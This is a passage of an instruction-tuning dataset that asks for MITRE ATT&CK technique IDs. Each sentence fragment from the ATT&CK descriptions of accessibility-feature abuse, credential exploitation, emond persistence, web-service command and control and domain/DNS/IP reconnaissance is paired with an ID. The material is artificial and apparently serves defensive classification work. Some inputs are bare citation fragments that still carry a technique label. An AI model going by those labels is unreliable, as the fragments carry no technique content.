when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges. ### Response: T1015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Tilbury 2014)", "output": "T1015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Tilbury 2014) ### Response: T1015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)\n\n* On-Screen Keyboard: <code>C:\\Windows\\System32\\osk.exe</code>\n*", "output": "T1015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)\n\n* On-Screen Keyboard: <code>C:\\Windows\\System32\\osk.exe</code>\n* ### Response: T1015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Magnifier: <code>C:\\Windows\\System32\\Magnify.exe</code>\n*", "output": "T1015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Magnifier: <code>C:\\Windows\\System32\\Magnify.exe</code>\n* ### Response: T1015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Narrator: <code>C:\\Windows\\System32\\Narrator.exe</code>\n*", "output": "T1015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Narrator: <code>C:\\Windows\\System32\\Narrator.exe</code>\n* ### Response: T1015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Display Switcher: <code>C:\\Windows\\System32\\DisplaySwitch.exe</code>\n* App Switcher: <code>C:\\Windows\\System32\\AtBroker.exe</code>", "output": "T1015", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Display Switcher: <code>C:\\Windows\\System32\\DisplaySwitch.exe</code>\n* App Switcher: <code>C:\\Windows\\System32\\AtBroker.exe</code> ### Response: T1015."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may exploit software vulnerabilities in an attempt to collect credentials.", "output": "T1212", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may exploit software vulnerabilities in an attempt to collect credentials. ### Response: T1212."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.", "output": "T1212", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. ### Response: T1212."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain authenticated access to systems.", "output": "T1212", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain authenticated access to systems. ### Response: T1212."}{"instruction": "List the MITRE techniques contained in the text.", "input": "One example of this is `MS14-068`, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets)", "output": "T1212", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: One example of this is `MS14-068`, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets) ### Response: T1212."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Another example of this is replay attacks, in which the adversary intercepts data packets sent between parties and then later replays these packets.", "output": "T1212", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another example of this is replay attacks, in which the adversary intercepts data packets sent between parties and then later replays these packets. ### Response: T1212."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If services don't properly validate authentication requests, these replayed packets may allow an adversary to impersonate one of the parties and gain unauthorized access or privileges.(Citation: Bugcrowd Replay Attack)(Citation: Comparitech Replay Attack)(Citation: Microsoft Midnight Blizzard Replay Attack)", "output": "T1212", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If services don't properly validate authentication requests, these replayed packets may allow an adversary to impersonate one of the parties and gain unauthorized access or privileges.(Citation: Bugcrowd Replay Attack)(Citation: Comparitech Replay Attack)(Citation: Microsoft Midnight Blizzard Replay Attack) ### Response: T1212."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Such exploitation has been demonstrated in cloud environments as well.", "output": "T1212", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Such exploitation has been demonstrated in cloud environments as well. ### Response: T1212."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries have exploited vulnerabilities in public cloud infrastructure that allowed for unintended authentication token creation and renewal.(Citation: Storm-0558 techniques for unauthorized email access)\n\nExploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.", "output": "T1212", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries have exploited vulnerabilities in public cloud infrastructure that allowed for unintended authentication token creation and renewal.(Citation: Storm-0558 techniques for unauthorized email access)\n\nExploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained. ### Response: T1212."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft DART Case Report 001)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft DART Case Report 001) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware Persistence on OS X)(Citation: amnesia malware)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware Persistence on OS X)(Citation: amnesia malware) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond).", "output": "T1546.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). ### Response: T1546.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action.", "output": "T1546.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. ### Response: T1546.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place.", "output": "T1546.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place. ### Response: T1546.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The rule files are in the plist format and define the name, event type, and action to take.", "output": "T1546.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The rule files are in the plist format and define the name, event type, and action to take. ### Response: T1546.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some examples of event types include system startup and user authentication.", "output": "T1546.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some examples of event types include system startup and user authentication. ### Response: T1546.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Examples of actions are to run a system command or send an email.", "output": "T1546.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Examples of actions are to run a system command or send an email. ### Response: T1546.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation:", "output": "T1546.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: ### Response: T1546.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)", "output": "T1546.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) ### Response: T1546.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)", "output": "T1546.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) ### Response: T1546.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.", "output": "T1546.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service. ### Response: T1546.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system.", "output": "T1102", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. ### Response: T1102."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise.", "output": "T1102", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. ### Response: T1102."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise.", "output": "T1102", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. ### Response: T1102."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.", "output": "T1102", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ### Response: T1102."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).", "output": "T1102", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed). ### Response: T1102."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel.", "output": "T1102.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. ### Response: T1102.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Compromised systems may leverage popular websites and social media to host command and control (C2) instructions.", "output": "T1102.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. ### Response: T1102.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service.", "output": "T1102.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. ### Response: T1102.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.", "output": "T1102.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response. ### Response: T1102.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise.", "output": "T1102.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. ### Response: T1102.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise.", "output": "T1102.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. ### Response: T1102.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.", "output": "T1102.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ### Response: T1102.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's network domain(s) that can be used during targeting.", "output": "T1590.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's network domain(s) that can be used during targeting. ### Response: T1590.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers.", "output": "T1590.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers. ### Response: T1590.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1590.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1590.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation:", "output": "T1590.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about victim domains and their properties may also be exposed to adversaries via online or other accessible data sets (ex: [WHOIS](https://attack.mitre.org/techniques/T1596/002)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: ### Response: T1590.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Circl Passive DNS)", "output": "T1590.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Circl Passive DNS) ### Response: T1590.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Where third-party cloud providers are in use, this information may also be exposed through publicly available API endpoints, such as GetUserRealm and autodiscover in Office 365 environments.(Citation:", "output": "T1590.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Where third-party cloud providers are in use, this information may also be exposed through publicly available API endpoints, such as GetUserRealm and autodiscover in Office 365 environments.(Citation: ### Response: T1590.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Azure Active Directory Reconnaisance)(Citation: Office 265 Azure Domain Availability)", "output": "T1590.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Azure Active Directory Reconnaisance)(Citation: Office 265 Azure Domain Availability) ### Response: T1590.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or", "output": "T1590.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or ### Response: T1590.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", "output": "T1590.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). ### Response: T1590.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's DNS that can be used during targeting.", "output": "T1590.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's DNS that can be used during targeting. ### Response: T1590.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\u2019s subdomains, mail servers, and other hosts.", "output": "T1590.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\u2019s subdomains, mail servers, and other hosts. ### Response: T1590.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DNS, MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.(Citation:", "output": "T1590.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DNS, MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.(Citation: ### Response: T1590.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sean Metcalf Twitter DNS Records)", "output": "T1590.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sean Metcalf Twitter DNS Records) ### Response: T1590.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001).", "output": "T1590.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). ### Response: T1590.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation:", "output": "T1590.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: ### Response: T1590.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Circl Passive DNS)", "output": "T1590.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Circl Passive DNS) ### Response: T1590.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or", "output": "T1590.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or ### Response: T1590.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "output": "T1590.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). ### Response: T1590.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather the victim's IP addresses that can be used during targeting.", "output": "T1590.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather the victim's IP addresses that can be used during targeting. ### Response: T1590.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.", "output": "T1590.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. ### Response: T1590.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use.", "output": "T1590.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. ### Response: T1590.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.", "output": "T1590.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted. ### Response: T1590.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1590.005", "text": 